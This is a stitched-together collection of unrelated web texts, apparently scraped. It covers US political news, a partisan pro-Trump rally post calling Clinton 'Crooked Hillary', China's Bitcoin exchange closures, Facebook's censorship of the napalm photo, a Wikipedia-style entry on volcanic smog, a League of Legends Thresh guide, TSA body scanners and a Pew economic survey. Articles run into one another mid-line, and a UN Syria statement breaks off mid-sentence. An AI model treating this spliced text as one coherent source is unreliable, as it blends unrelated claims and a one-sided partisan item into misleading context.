Other reports charged that Schock had spent tens of thousands of taxpayer dollars on office renovations and tried to pass off as official business personal expenditures such as a private flight to a Chicago Bears football game with a software executive.
He is the second member of Congress to resign this year. New York Republican Michael Grimm stepped down in January.AMAZING! HUNDREDS OF TRUMP SUPPORTERS Greet Hillary at Her Florida Rally (VIDEO)
THIS WAS AMAZING!
HUNDREDS of TRUMP SUPPORTERS Greeted Crooked Hillary as she pulled up to her rally today in Dade City, Florida.
THIS HAD TO HURT!
Ouch! And one protester was dressed in stripes!
This is how Clinton's motorcade was greeted when it arrived at Hillary's Dade City event.#LockHerUp #HillaryForPrison pic.twitter.com/d9vT0ukdWQ — America First! (@America_1st_) November 1, 2016
The TRUMP SUPPORTERS lined the street as Hillary passed by with former porn star Alicia Machado for her rally.
Via Truthfeed:
Trump supporters greet @HillaryClinton motorcade as we pull into Dade City, FL event pic.twitter.com/WWSkVWc6qK — Josh Haskell (@joshbhaskell) November 1, 2016
The Hillary crowd was the same size as the Trump protesters!
Hillary's crowd with Alicia Machado in Dade City was the same size as the protestors who showed up pic.twitter.com/wfoCyZLhPr — Jared Wyand 🇺🇸 (@JaredWyand) November 1, 2016
On Sunday Trump supporters welcomed Hillary to Pompano Beach, Florida.
The photo made the front page of the New York Times.'RuPaul's Drag Race' Winner Mother Injured By Stray Bullet
'RuPaul's Drag Race' Winner's Mother Injured By Stray Bullet in Atlanta
Exclusive Details
The mother of "RuPaul's Drag Race" season 8 winner was injured when a stray bullet pierced her windshield and bloodied her face as she waited in her car in Atlanta.
Bob The Drag Queen confirmed his mom, Martha Anna Caldwell, was taken to a hospital with non-life threatening injuries, saying, "It's a miracle that she's not only alive, but able to go home after a few stitches."
Cops tell us the shooting happened Sunday night when a gunman hopped out of a car and started shooting at another man. Caldwell sat in her car about a block away when one of the rounds struck the windshield... causing glass and projectile fragments to strike her face.
Bob's pissed about the shooting and railed on what he calls Georgia's "lax gun laws." He pleaded, "This could have been you, or worse this could have been your mother."The recent announcement from news reports regulators for all Chinese exchanges to close – one of the biggest Bitcoin exchange says “it will end trading”. Since it was causing price of digital currency to drop down.
BTC China says on its website it will “stop all trading business” on Sept. 30. The exchange says it was acting “in the spirit of” a central bank ban ICOs. As it receives a direct order to close without any indication.
There is no response to the questions from central bank about the currency’s future in China. Therefore, other Chinese exchanges have not disclosed about their future plans.
On Thursday, the value of Bitcoin dropped 15% i.e., about $3300. The famous unpredictable currency is shed its value to third since Sept.1. Still, it is up from about $600 a year ago.
Submit your Press Release
With the China’s popularity, the Bitcoin price surges. Trading declined after regulators tightened controls and warned the currency might be link as fraud.
Reportedly, two business newspaper on Thursday says that the country’s financial center giving some oral instructions to Chinese bitcoin exchange to close.
Without the involvement of banks or governments, Bitcoin is created and getting traded. Anonymity transactions has made Bitcoin popular with people who want to conceal their activity. At the prices set in online trading, Bitcoin can be converted to cash when deposited into accounts.
Read Next: China is planning to Ban Bitcoin ExchangesColorado congressman Rep. Mike Coffman (R-CO), who vowed to “stand up” to President-elect Donald Trump, left his own community event early on Saturday after a crowd of constituents showed up with questions.
Coffman was scheduled to meet with constituents at the Aurora Central Library on Saturday. A crowd of attendees, some with questions about Republican promises to repeal Obamacare, were left to wait in the lobby, according to a report by local station KUSA.
Dozens of frustrated people waiting to speak w/Congressman Mike Coffman, but they say he won’t see them despite calls for a meeting. #9News pic.twitter.com/CY81CrKhiR — Nelson Garcia (@9NewsEducation) January 14, 2017
Crowd starts singing while trying to get in to see Congressman Mike Coffman in Aurora. He only agreed with people a couple at a time. #9News pic.twitter.com/bqZgj4FF6f — Nelson Garcia (@9NewsEducation) January 14, 2017
According to KUSA’s report, police officers used crime scene tape to create a perimeter while the crowd waited outside the community room.
The event was scheduled to run from 2:00 p.m. to 3:30 p.m. on Saturday, but according to the report Coffman left “secretly” six minutes early, at 3:24 p.m.
While more than 100 people were waiting to meet with him, Mike Coffman sneaks out early from his own community event. #9News pic.twitter.com/NAZlXTKgQm — Nelson Garcia (@9NewsEducation) January 14, 2017
In a statement obtained by KUSA, Coffman’s chief of staff Ben Stein wrote that “the volume of people who came” prevented Coffman from meeting with all the attendees.
“The Congressman met with four people at a time for five minutes each for a total of more than 70 constituents,” Stein wrote. “Unfortunately, we only reserved the room at the Aurora Central Library for 90 minutes, which is usually plenty of time to see everyone. For those who were unable to see the Congressman today we apologize.”
In a campaign ad released in August, Coffman distanced himself from Trump, saying that he doesn’t “care for him much” and vowing to “stand up” to Trump if the then-candidate won the presidency.
In November, barely a week after the election, Coffman left the first full House Republican conference meeting saying that he was “excited” to work with Trump.Yesterday rumor mongers came up with an especially enticing little morsel of gaming news. The rumor floating around was that Overkill, the studio behind the co-op bank heist shooter, PAYDAY, was working with Valve on developing a prequel to the Left 4 Dead series.
Honestly, the rumor seemed a bit sketchy at the time so we decided not to write about it until an official word came in. Today, Chet Faliszek of Valve announced to the world that there is no such collaboration in the works.
I don't want to give it away, because we want the community to explore and find it, but I want to make sure that people don't think the prequel is coming," said Faliszek told PCGamesN. "If that happens, then it will make this other thing we're doing feel uncool, when the thing we're doing is really cool. I mean, the problem is, if you make a rumour, and you can make the rumour anything, you're going to make the rumour really, really cool. And that makes everything else sound less cool."
The idea of a collaboration between Valve - with their endless resources and ingenuity - and Overkill with their obvious talent for unique co-op experiences, had many fans worked into a tizzy. However, Faliszek says that the collaboration is more akin to Team Fortress 2, where you'll see other games weapons incorporated into the play. Not that the collaboration is exactly like that, but he says it's similar. Whatever that means.
We'll be sure to report on any news regarding the actual facts of the Overkill/Valve collaboration. Even if it's minor in scope, we'll still be excited to see what they're doing together.I’ve had a lot of publicity over the last few days, but none of it was welcome. It arose from the story below from the Daily Telegraph of June 6 with the headline “Britons are having less sex, and Game of Thrones could be to blame, says Cambridge professor”
I really did say all this. At a talk for the general public at the Hay Festival plugging Sex by Numbers, I was talking about the decline in sexual activity over the last 20 years identified by the NATSAL survey, and said that the press was obsessed with the reasons for this. As a statistician, I couldn’t say why this decline had occurred, but Ipads have been mentioned. I then made the comments about box sets, and that this trend would mean there would be no sex by 2030 (I even got the sums wrong), and that this was very worrying – this was delivered with over-the-top enthusiasm, and got a gratifyingly big laugh from the audience. A standard use of ludicrous exaggeration as a source of humour (although it does lose somewhat in the retelling).
In spite of the obvious joke, the Telegraph chose to report this as a serious scientific finding (although the article has now been re-written). The consequence was the story spreading like a virus across a huge range of media, including the dailys, Newsweek and so on, all of whom just copied the Telegraph article and only one making any attempt to get in touch with me. The virus mutated in the process and the headlines became increasingly exaggerated, including Sex Will Be Obsolete by 2030 Because of Netflix, According to One Lone Scientist, and Couples 'will stop having sex by 2030' due to the large rise in TV ratings. Only one journalist identified that this was clearly a joke.
There has also been a queue of radio interview requests from the BBC, Australia, Russia, New Zealand, Argentina and so on, all keen to know about my research on how Game of Thrones was going to mean the end of sex. I didn't oblige. Also a stream of derogatory tweets about the idiot professor who is denying ‘Netflix and chill’ (a euphemism for casual sex).
This episode does not show journalism at its best, and it would be laughable if it were a deliberate April Fool. It also provides great material for getting laughs in future talks. But I also feel I have been casually exploited for click-bait (the Telegraph story is, of course, highly cited on Google), and amazed that this was done by a science journalist. But I’m not going to stop putting comic exaggerations into my public talks.Cleveland Browns jerseys are a risky investment. Just ask my friend Joe : the lifelong fan purchased a $230 authentic Trent Richardson jersey not too long ago. He needed a new one to replace his authentic Peyton Hillis jersey he bought just a couple years earlier.
For Browns fans who wear jerseys to games and don't go with the throwbacks — commonly a #32 Jim Brown or #57 Clay Matthews — odds are they are already obsolete (the #3 Weeden jerseys are already kind of silly). Most of them are gone, almost always leaving as a disappointment on bad terms, and never as good or better than when their jerseys hit the market.
I took my camera down to the stadium yesterday to capture post-1999 era Cleveland Browns jerseys. The result: duct tape-covered nameplates of departed players, silly-looking Colt McCoy jerseys, and even a guy who had to alter a #23 Lebron James football jersey (from "LEBRON" to "BRO"), among many more (I'll update this list in two years with the hoards of fans wearing Brian Hoyer jerseys purchased this week). Take a look at 15 of them:A street art project ended faster than expected when firefighters were needed to free a woman from a block of gypsum plaster. Emergency responders were called to the scene when the woman needed more oxygen than what she could get breathing through a straw.
The woman was taking part in an art project on the Grotekerkplein in Rotterdam. She had climbed into a box which was then covered with layer upon layer of gypsum. Firefighters needed heavy equipment to extricate the woman. She was finally pulled free at about 4:15 p.m. “Artists were panicking when the gypsum became too hard,” a community police officer wrote on Twitter. Police responded to the scene took all five involved in the art project into custody, including the rescued woman. They will be questioned for endangering a life. “It does not matter that she herself chose to allow them to cast her in plaster,” a police spokesperson said.UPDATE: 5:18 a.m. EDT — Norwegian Prime Minister Erna Solberg has joined the protest against Facebook for censoring the iconic Vietnam War photo of the "napalm girl," the Associated Press reported Friday. Solberg said the picture is a crucial part of the world history and that “Facebook gets it wrong when they censor such images."
Original story:
One of the most haunting photos of the Vietnam War, the "napalm girl" image, has been taken down from Facebook in Norway triggering uproar over the social media website’s policies on censoring. Norway's largest circulating newspaper Aftenposten published an open letter on its front page Thursday criticizing Facebook CEO Mark Zuckerberg for the decision.
The outrage sparked after Facebook deleted Norwegian writer Tom Egeland’s post featuring the Pulitzer prize-winning photograph by Nick Ut that showed children escaping from napalm attack during the Vietnam War. Among the children, a 9-year-old Kim Phúc is seen running naked from the attack. The picture went on to become one of the most iconic images of the war.
After deleting Egeland’s post, Facebook suspended the writer from the website. Aftenposten decided to report the suspension and used the same photo for its story, which was shared on the newspaper’s Facebook page. Following this, the social media giant sent a message to the publication asking it to “either remove or pixelize” the photograph. But, according to the newspaper’s Editor-in-Chief Espen Egil Hansen, Facebook deleted the article before Aftenposten could respond.
Hansen, in his open letter, told Zuckerberg that he is “the world’s most powerful editor” and that he is abusing his power.
“[Dear] Mark, you are the world’s most powerful editor. Even for a major player like Aftenposten, Facebook is hard to avoid. In fact we don’t really wish to avoid you, because you are offering us a great channel for distributing our content. We want to reach out with our journalism,” Hansen wrote.
“However, even though I am editor-in-chief of Norway’s largest newspaper, I have to realize that you are restricting my room for exercising my editorial responsibility. This is what you and your subordinates are doing in this case. I think you are abusing your power, and I find it hard to believe that you have thought it through thoroughly,” the editor-in chief continued.
Hansen further said that instead of making “the world more open and connected” such decisions by the social media giant “will simply promote stupidity and fail to bring human beings closer to each other.”
In the past, Facebook has been criticized for its censoring and news distribution policies. Gizmodo reported in May that Facebook’s trending chart deliberately suppressed news stories from conservative sites. The company recently fired the team of editors who handled the trending topics bar and replaced them with algorithms.
According to a recent study by the Pew Research Center, 44 percent of U.S. adults read news from Facebook.“I appeal to you to unite behind our efforts to facilitate a Syrian-led political transition to a democratic, plural political system, in which citizens are equal regardless of their affiliations, ethnicities or beliefs,” Mr. Ban said. “The stronger and clearer the message you can collectively send, the better the chance that we can begin to shift the worrying dynamics of this crisis in the direction of positive change.”
Mr. Ban noted that much diplomatic progress had been made since the first Friends of Syria meeting on 24 February in Tunis, with Member States rallying behind the efforts of the Joint Special Envoy of the UN and the League of Arab States, Kofi Annan.
However, Mr. Ban noted that the situation on the ground has continued to deteriorate even after Syrian authorities accepted Mr. Annan's proposal to end the crisis on Tuesday, and stressed the need for the Government to implement the plan immediately.
Mr. Annan's six-point proposal, which was submitted during his visit to Damascus last month, seeks to stop the violence and the killing, give access to humanitarian agencies, release detainees, and kick-start an inclusive political dialogue.
“Let me stress: these proposals are not a list of all the steps that the Syrian Government will need to take for this crisis to be resolved and a political solution found. They are the steps that the Syrian President needs to take today to defuse the crisis and send a clear signal that he is ready to change course,” Mr. Ban said in his remarks delivered by the Under-Secretary-General for Political Affairs B. Lynn Pascoe.
The Secretary-General underlined that Mr. Annan is also working closely with members of the opposition, who have made “encouraging moves to unite under one umbrella.”
In addition, Mr. Ban emphasized that the UN is focusing on addressing the humanitarian situation in the country by assessing the needs of the population and readying assistance. “An |
his boss.”
Richman was described in a New Yorker piece last month as Comey’s “unofficial media surrogate.”
“He certainly does love the idea of being a protector of the Constitution,” Richman told the New Yorker of Comey. “The idea of doing messy stuff and taking your lumps in the press.”
But, Richman added, “More than most people, he thinks that when it comes to making really difficult decisions, transparency and accountability have incredible value.”
Richman declined to comment further to The Post on Thursday, but spoke to the Chronicle of Higher Education about a tangential topic: What will Comey do next?
Comey previously held a senior research post at Columbia for a short time in 2013 — a move encouraged by Richman, according to the New York Times.
Speaking to Chronicle of Higher Education, Richman said Comey has spoken to his classes on multiple occasions and is a “gifted teacher.” Perhaps, Richman suggested, Comey’s next job could be teaching at Columbia.
“He knows he’s welcome to join us next year,” Richman told the Chronicle of Higher Education.Dense vog as seen from Hilo Bay, Hawaiʻi
Vog is a form of air pollution that results when sulfur dioxide and other gases and particles emitted by an erupting volcano react with oxygen and moisture in the presence of sunlight. The word is a portmanteau of the words "volcanic" and "smog". The term is in common use in the Hawaiian islands, where the Kīlauea volcano, on the Island of Hawaiʻi (the "Big Island"), has been erupting continuously since January 3, 1983. Based on June 2008 measurements, Kīlauea emits 2,000—4,000 tons of sulfur dioxide (SO 2 ) every day.[1]
Description [ edit ]
Vog is created when volcanic gases (primarily oxides of sulfur) react with sunlight, oxygen and moisture. The result includes sulfuric acid and other sulfates.[2] Vog is made up of a mixture of gases and aerosols which makes it hard to study and potentially more dangerous than either on their own.[3]
Vog, which originates from volcanic vents, differs from laze, created when lava enters the ocean.[4]
Vog in Hawaiʻi [ edit ]
In Hawaii, the gas plumes of Kīlauea rise up from three locations: Halemaʻumaʻu Crater, Puʻu ʻŌʻō vent, and from along the coastline where lava flows from the East Rift zone enter the ocean. The plumes create a blanket of vog that can envelop the island. Vog mostly affects the Kona coast on the west side of the Island of Hawaiʻi, where the prevailing trade winds blow the vog to the southwest and southern winds then blow it north up the Kohala coast.
Prolonged periods of southerly Kona winds, however, can cause vog to affect the eastern side of the Island on rare occasions, and affect islands across the entire state as well.[3] By the time the vog reaches other islands, the sulfur dioxide has largely dissipated, leaving behind ash, smoke, sulfates, and ammonia.[5]
Comparing vog and smog [ edit ]
Vog and smog are different. Vog is formed when sulfur oxides emitted by a volcano react with moisture to form an aerosol. The aerosol scatters light, thus making the vog visible. Smog is formed largely from the incomplete combustion of fuel, reacting with nitrogen oxides and ozone produced from carbon monoxide by reactions with sunlight. The result is also a visible aerosol.
When smog levels are high, the sky appears yellowish-grey because nitrogen oxides are yellow. In contrast, sulfur oxides are colorless and vog looks grey. Once the vog layer dissipates, grey spots of vog in the sky may, for a time, remain trapped in the inversion layer.
Several chemicals emitted from cars are not emitted from volcanoes. Similarly, some chemicals emitted from volcanoes, such as hydrogen sulfide, hydrogen chloride, and hydrogen fluoride, are not created by traffic pollution. Moreover, smog generated by factories has its own unique mix of contaminants.
Health hazards [ edit ]
Vog and clouds created a strangely shaped sun in this sunset
Most studies of vog have been in areas where vog is naturally present and not in controlled conditions. Vog contains chemicals that can damage the environment and the health of plants, humans and other animals. Most of the aerosols are acidic and of a size where they can remain in the lungs to damage the lungs and impair function. Headaches, watery eyes, sore throat, breathing difficulties (including inducing asthma attacks), flu-like symptoms and general lethargy are commonly reported. These effects are especially pronounced in children and in people with respiratory conditions. Vog generally reduces visibility, creating a hazard for road, air and ocean traffic.[1]
The long-term health effects of vog are unknown.
Recent events [ edit ]
Several studies are underway to measure the air quality near volcanoes more carefully.[6] Sulfur dioxide emissions increased on March 12, 2008, when a new vent opened. The increased vog level has caused evacuations and damaged crops. In the summer of 2008 and in 2012, the County of Hawaiʻi received a disaster designation due to the agricultural damage.[7]
A recent multi-year computer-modeling feasibility study, known as VMAP, designed to predict the location and concentrations of vog from Kīlauea was conducted by the University of Hawaii.[8]
See also [ edit ]It seems like Wannables have their new hobby: teasing Yoo Jisung!
Recently, Wanna One has revealed their profiles prior debuting. At that time, Yoon Jisung wrote 'carrot' as one of the things he hates the most.
Image Source: Dispatch
However, although fans have known about this, they keep giving the member something related to carrot in purpose -- to see his adorable reaction after receiving the carrot-related things. Fans give him carrot plushies, carrot ballpoint, and other things with carrot shape.
Needless to say, Jisung's face expression is priceless whenever he receive the "carrot things" from fans. He loses his smiles and often pout when fans give him anything related to carrot. However, rather than feeling sad that the idol does not like the gift, fans found Jisung is all adorable when he receive them.
Image Source: Dispatch
Not only that, fans also tease Jisung with the question related to carrot. One of the question is, "What food can you eat for your whole life?" The fan put four options for the question, 'carrot,' 'carrot,' 'carrot,' and 'others.' Thus, Jisung picked the 'others' and wrote, "Nope."
Image Source: Dispatch
Since he got so many "carrots" from the fans, on one fan meeting, Jisung cutely announced, "Today, whoever brings carrot will get scolded by me."
Send us your videos:
contact@kstarlive.comThe Chain Warden
We will start at the beginning. The beginning of season three. The LCS was in its infancy, Olaf was still a contested jungler, and supports were not really contested picks.
Then came January 23rd, 2013. The official release date of Thresh. Thresh was much different than most supports. He didn't have a heal like Taric or Sona. He wasn't designed as a tank like Leona or Alistar. Thresh was in a category of his own. Thresh has everything: extra harass on auto-attacks, a ranged CC, a "box" that slowed, a displacement, and a lantern that added a mechanic never seen before. Thresh has the tools in his kit to allow for some of the best plays ever seen.
Thresh has gone through changes since his release, but he is still a very strong support. In today's meta, Thresh thrives with team synergy and when placed in pick compositions. However, Thresh is still remarkably powerful in skirmish and teamfight compositions. Playing Thresh well requires knowledge and practice. In this guide, I will present Thresh in an analytical manner. There are certain combos that I will highlight that will show the true power of Thresh's kit. This guide is not for the beginners looking to learn Thresh's core kit, but for those who know his kit and want to learn how to use it to its potential.
Each one of Thresh's abilities is versatile and can be used for both defense and offense.
(Q) Death Sentence
Thresh's Death Sentence (Q) is a ranged "hook." It will stun the first target he hits and tether them. There is a short delay of 0.5 seconds before the ability can be re-activated to pull Thresh to the tethered target. However, there is no delay when tethered to a minion or monster. Either way, if you plan on pulling yourself in: spam Q.
Offensively: Thresh hook is the bread and butter of all bot lane ganks and mid/late game picks. Not only does it stun a target at range, but also "tugs" them toward Thresh. This "tugging" can be used to pull the target int teammates and into the box (There are even reported accounts of enemies getting tugged over terrain). Thresh hook alone cannot kill enemies. It is mostly up to teammates to act upon the stun. The hook can also be used as a gap closer when trying to engage on enemies. (only in certain situations) You would have to use minions or monsters as a stepping stone to get closer to the enemies.
Defensively: Thresh hook is still a stun, and any form of CC can be used to stop an engage. Stunning a tanky enemy might just keep him off your back line. Thresh hook is also very useful for escapes. Thresh hook can be used on jungle monsters and enemy minions to escape after re-activating the Q. This makes for some pretty awesome escapes through Dragon pit. There is also the mechnic of "tugging" that can be used to move enemies in the direction you want them to go. You don't necessarily want to tug a Fiddlesticks ultimate toward your team. If you position youself correctly, you can manipulate the movement of the enemy.
An Example of Using Death Sentence Defensively
(W) Dark Passage
Thresh's Dark Passage (a.k.a. the Thresh Express) is Thresh's lantern. It will grant vision, gather souls, and transport teammates to your position. The Lantern is arguably the most important part of Thresh's kit as there is no other mechanic like it in the game. There is also a lot of versatility to the Lantern and it can be used in several ways that can give you an advantage over the other team.
Defensively - The primary use of Thresh's Dark Passage is to save a teammate in need. The Lantern can be thrown a certain distance away from Thresh in order to save a teammate from enemies. It can be thrown over terrain to help the jungler escape a smite-steal, or it can extract a teammate who is in a positional disadvantage.
An example of using Dark Passage Defensively
Offensively - The secondary use of Thresh's Dark Passage is to kill an enemy. Dark Passage can be used offensively (usually in the laning phase) to take enemies down. The Lantern can be thrown behind Thresh in order to close the gap between you and your jungler. This move is paramount for early lanining as Thresh. Thresh doesn't have sustain so he will most likely lose against poke lanes and since he will most likely lose in trades against a sustain lane, Thresh's only advantage comes from ganking power. However, it isn't super easy to pull off ganks as Thresh. There are a lot of skillshots involved in a gank with Thresh. It is important to use the Lantern to bring in the jungler and to use your cc to lock down your lane opponents as the jungler rides in on the Thresh Express.
An example of using Dark Passage Offensively
Vision - The Lantern will grant vision around itself. It is very useful as temporary vision. It is much safer to check a brush with Dark Passage, than it is to check the brush with your face.
(E) Flay
Thresh's Flay is a very interesting form of cc. It slightly pulls or pushes enemies in a certain direction and then slows them for 1 second. This is Thresh's main tool to manipulate an enemies' position. Like Thresh's other abilities, Flay can also be used as an offensive and defensive spell.
Flay also has a passive. Thresh's auto attacks will do bonus magic damage depending on how many souls Thresh has, plus a percentage of his AD which starts at 80% up to 200% depending on the last time Thresh auto-attacked. (The percentage will fall back down to 80% after an auto-attack)
Defensive - Flay can be used to push enemies away from thresh and slow them. If used at the right time, it can cancel enemy dashes. Xpecial is known for stopping the Jarvan dash at MLG Anaheim 2013. I have pulled this off a couple of times, but never while recording.
An example of a Defensive Flay
Offensive - Flay can be used to pull enemies back towards thresh and slow them. Just like using it defensively, you can use it to stop an enemy dash. Xpecial was able to secure first blood at MLG Anaheim 2013 with this method.
An example of an Offensive Flay
You can also use Flay to push/pull an enemy in your box or to slow them down to land a hook. (Landing a hook is usually easier when the target is slowed)
(R) The Box
The Box is an amazing ability that slows enemies by 99% if they get caught in any of its five walls. The first time a wall is broken, it will do damage to whoever broke it. Subsequent breaking of the walls will just apply the slow and no damage. (Not that you will be killing mny people using The Box anyways)
It is important to note that there is a 0.75 second delay before you push R and the walls come up.
Offensively - You can use the box after landing Death Sentence to place the box around a single enemy (or enemies) to severely inhibit their movement speed. You can also use flash to get into range, or simply flank them.
In order to use The Box effectively in team fights, you have to place the box in an area where the enemies are, or are going to be. Using the box to cut off an escape route, is a great way to funnel the flow of a team fight.
Defensively - You can use the box to stop an engage. If the enemy team has someone like an Alistar who would run at your team and try to CC, you should put down The Box right before he engages in order to provide disengage. Not only does it stop their front line from bearing down, but it also zones out the back line because they do not want to run through the box.
The Box can also be used to secure objectives. If you need to make sure the enemy team leaves you alone while your team takes Dragon/Baron, throw down the box over the entrance to the objective. It will at least slow down any engage they have to disrupt your team from killing the objective. This strategy is also good for buying your teammates a bit more time when taking down turrets. The enemy will be reluctant to chase you off the turret if they know they won’t get an inch because they will hit The Box.
Counter-play
I can’t just write an article about the intricacies of Thresh’s kit without giving some tips on how to counter.
In Lane
Thresh is usually teamed up with a bursty adc and can be really strong in the early game. If Thresh is paired up with a Graves, getting hooked will certainly mean death. Stay behind minions and never give Thresh a direct line of sigh to hook you. That being said, when his hook is down make sure to zone him out and poke him hard. Once his hook is on cool down, you have ~20 seconds to gain a slight advantage. Make sure to maintain vision in the bushes. If you don’t have vision of the bush, then Thresh can use that to throw a hook you can’t see and lock you up. Warding the bush will at least give you an idea of where he will throw his hook because of the direction he is facing when he winds up.
Mid Game
Make sure to ward the bushes around the dragon pit, and around the entrances to the blue side jungle. At this point in the game, thresh is looking for picks and team fights. Make sure to keep areas warded to avoid someone getting picked off. Remember that Thresh can be tanky, but he is not the tank. If you have a window of opportunity, take him down. The enemy team will lost a lot of their peel if Thresh is dead.
Late Game
Keeping the wards up at the Late Game is just as important as keeping them up in the Mid Game. This time Baron is more of a priority, so make sure to keep the area lit up with wards. Thresh doesn’t have much to keep himself alive and he has little mobility. Thresh’s greatest strength of picking people off, can also be used against Thresh. Thresh can be caught out and killed just as easy as a carry, and he won’t have a GA or a Zhonya’s to survive the burst and carry on.
Things to note:
- Position yourself like a carry and try not the be the first one diving in. Being tanky is good, but you are not the tank.
- Just because you landed the hook, does not mean that it’s a good hook to follow up on.
- Clearing wards for picks is just as important as placing wards for picks. You will not be able to catch an enemy out of position if they can see you waiting.
- "You miss every hook you don't throw" really is a poor philosophy when playing thresh. If you can't land a hook, you at least have the threat of landing a hook which can zone the enemies away. The hook has a pretty long cooldown at lower levels. Chose your hooks wisely.
Hopefully this article has given you new ideas to try out when playing Thresh. Now go out there and make those plays!
- TheLanzoliniEnlarge By H. Darr Beiser, USA TODAY Body scanners like the one being demonstrated here by Duran Turner at Baltimore-Washington International Airport use millimeter wave technology to find foreign objects on passengers. WASHINGTON For the first time, some airline passengers will skip metal detectors and instead be screened by body scanning machines that look through clothing for hidden weapons, the Transportation Security Administration said Tuesday. An experimental program that begins today at Tulsa International Airport will test whether the $170,000 body scanners could replace $10,000 metal detectors that have screened airline passengers since 1973. Airports in San Francisco, Las Vegas, Miami, Albuquerque and Salt Lake City will join the test in the next two months, TSA spokesman Christopher White said. The scanners aim to close a loophole by finding non-metallic weapons such as plastic and liquid explosives, which the TSA considers a major threat. The machines raise privacy concerns because their images reveal outlines of private body parts. "We're getting closer and closer to a required strip-search to board an airplane," said Barry Steinhardt of the American Civil Liberties Union. Privacy advocate Melissa Ngo fears that passengers won't understand that the scanners take vivid images that screeners view. White said each scanner has explanatory signs on how the machines work and posters showing the image they create. Passengers at the test airports will be instructed to go through the new scanners. Anyone who doesn't want to go through will be allowed to refuse and instead go through a metal detector and receive a pat-down, White said. People in the scanner will stand with their arms raised and their face will be blurred out in the metallic-looking image on a nearby screen. TSA screeners view the images from inside a closed room near a checkpoint and immediately delete them. "We've struck a very good balance between security and privacy," White said. Christopher Bidwell, security chief at the Airports Council International trade group, said the scanner "really does not reveal as much as some people might think." The scanners aim to address problems exposed by government probes in which covert agents got liquid explosives and detonators through airport checkpoints. A 2005 Homeland Security report urged better checkpoint technology. Security analyst Bruce Schneier, a frequent critic of the TSA, said the scanners should improve security but warned that they take longer than metal detectors — 30 seconds vs. about 15 seconds per passenger. "There will be pressure to do the screening faster, which will be sloppier," Schneier said. The scanners bounce harmless "millimeter waves" off passengers' bodies and use no radiation. The TSA has done preliminary tests of the scanner on passengers who had just passed through metal detectors. Those tests found that the machines excel at finding hidden objects, White said. Based on the results of the latest test, the TSA will decide at an undetermined date whether to use more body scanners in place of metal detectors. Guidelines: You share in the USA TODAY community, so please keep your comments smart and civil. Don't attack other readers personally, and keep your language decent. Use the "Report Abuse" button to make a difference. You share in the USA TODAY community, so please keep your comments smart and civil. Don't attack other readers personally, and keep your language decent. Use the "Report Abuse" button to make a difference. Read more TOP TRAVEL STORIES Most read Most e-mailed TOP TRAVEL STORIES Most read Most e-mailedBEIJING -- An extra 75,000 households in Beijing can use clean-energy-fueled heating facilities instead of highly polluting coal stoves this winter, local authorities said Wednesday.
In a campaign to replace coal with cleaner fuel, Beijing has phased out coal-fired heating facilities in 75,000 households during the first ten months of this year, reducing the city's annual coal use by 225,000 tonnes, according to Beijing Municipal Environmental Protection Bureau.
Small stoves in Beijing's suburban and rural areas, not covered by the central heating system, have been blamed for worsening the city's smog during the winter.
By shifting to clean fuel, such as electricity and gas, the city can cut the annual emission of 2,250 tonnes of smoke and dust, 1,530 tonnes of sulfur dioxide and 450 tonnes of nitrous oxide.Global Publics: Economic Conditions Are Bad
But Positive Sentiment Rebounding in Europe, Japan, U.S.
Seven years after the beginning of the global financial crisis, a Pew Research Center survey of 40 nations finds that publics in fewer than half the countries have a positive view of their economy. A median of just 40% in advanced economies say economic conditions are good, as do 45% in emerging economies and 46% in developing nations. Such overall sentiment is largely unchanged from economic sentiment in comparable countries in 2014.
However, the survey also finds that people in emerging economies and developing countries are more likely than publics in advanced economies to believe that economic conditions will improve over the next 12 months. And while only about a quarter of publics in advanced economies think that those in the next generation will be better off financially than their parents, about half or more of respondents in emerging and developing countries see a bright future for the next generation.
There are also signs of growing public faith in an economic recovery in some of the largest economies. Roughly four-in-ten Americans (40%), Europeans (38%) and Japanese (37%) say economic conditions are good in their countries. Such sentiment is up 30 percentage points in Japan from the low point in 2012; up 23 points from the low in the United States in 2009; and up 23 points from the low in 2013 for the median of five European Union nations. European and Japanese views, while far from positive, have now returned to or exceed pre-financial-crisis levels. But American attitudes, while rebounding, are still more negative than they were in 2007. This modest recovery in public economic sentiment parallels a gradual pickup in economic growth in many of these economies.
And economic attitudes have swung dramatically in a number of nations in just the past year. In Nigeria, views of economic conditions have brightened 18 points. Meanwhile, economic sentiment has darkened in Malaysia (down 26 points), Chile (down 24 points) and Russia (down 20 points).
In the 40 nations surveyed, a median of 45% say economic conditions in their country are good. And just 39% believe that their economy will improve over the next year, a pessimism that echoes projections by the International Monetary Fund that 2015 global growth will be marginally slower than in 2014. Only in developing nations does a majority (58%) expect conditions to get better.
Nor are publics that optimistic about prospects for the next generation. Just 45% around the world express the view that today’s children will be better off financially than their parents. But such doubt is largely centered in advanced economies, where only 27% think kids will be better off. About half or more of those surveyed in emerging markets (51%) and developing nations (54%) expect the next generation to exceed their parents financially.
The most optimistic about prospects for the next generation are the Vietnamese (91%), Chinese (88%), Nigerians (84%) and Ethiopians (84%). The most doubtful about the next generation’s prospects are the French (14% optimistic), Italians (15%) and Japanese (18%).
In many countries, the young – those ages 18 to 29 – are more likely than their elders – those 50 and older – to believe that economic conditions are good. But the greatest generational divide is over prospects for today’s children. In 18 of 40 nations, young people are significantly more likely than older people to believe that when children today grow up they will be better off financially than their parents.
Americans are sharply divided along partisan lines about the economy. Democrats are far more upbeat than Republicans. A majority of Democrats (55%) say the economy is doing well, but only 25% of the GOP agrees. More than half of Democrats (53%) believe the U.S. economy will improve over the next 12 months, while just 23% of Republicans are optimistic. And while 41% of Democrats say those in the next generation will be better off financially than their parents, just 24% of Republicans hold this view.
These are among the main findings of a new Pew Research Center survey, conducted in 40 nations among 45,435 respondents from March 25 to May 27, 2015.
Many View National Economic Conditions Negatively
The world economy is growing at a moderate pace, according to the IMF. Much of this growth is being driven by economic activity in advanced economies at a time when expansion in emerging and developing economies is slowing.
Such modest growth has not impressed many global publics, who are fairly gloomy about the current state of their economies. A median of 56% in advanced economies say economic conditions are bad, while 55% in emerging markets and 54% in developing countries share this negative view.
Half or more in seven of the 11 advanced economies surveyed say their economy is performing poorly. The most negative views are in Italy (88%), France (85%), South Korea (83%) and Spain (81%). In contrast, 75% in Germany, 57% in Canada and 55% in Australia believe their economy is doing well.
In emerging markets, half or more in 14 of 21 countries see their economy as negative. The gloomiest are Ukrainians (94%), Lebanese (89%) and Brazilians (87%). At the same time, 90% of Chinese, 86% of Vietnamese and 74% of Indians think economic conditions are good.
